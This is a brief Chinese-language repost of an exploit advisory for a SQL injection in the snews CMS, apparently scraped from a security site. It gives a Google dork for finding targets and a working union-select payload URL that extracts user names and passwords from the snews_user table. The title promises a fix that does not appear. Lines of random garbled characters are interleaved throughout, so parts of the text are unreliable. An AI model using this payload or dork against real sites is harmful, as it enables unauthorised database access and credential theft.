CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"
" ]' ^( U/ P/ u# Y
  W6 }9 H5 D: v
' K1 o: H. s6 x0 B*************************************************************
0 D3 N2 X, D5 ^& z8 s3 S% F
: I* M6 n% \$ ~; J' aSQL poc:
6 T0 o9 C; q8 n5 F- d, |
+ |! e" ^$ a* ~' ghttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
$ Y) w% g- Q8 u$ y
示例

! @: c* B6 e" v7 V" v. [: b, @http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
3 F3 S7 S) o+ W8 M* A; ^1 ?

致谢:
0 U9 {* _8 C' I; N3 R
: }8 l0 e$ q- R- W4 W9 {! i2 D; R  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
5 m: E! S" o9 e: F' ?. d# T% r2 P' A, d          indonesiancoder - moeslimh4x0r - go-coder
  D! K$ g. q8 n# ?; j) d
" W% j  t! z% ]spesial my hunny :*
! `8 |$ ^4 [. X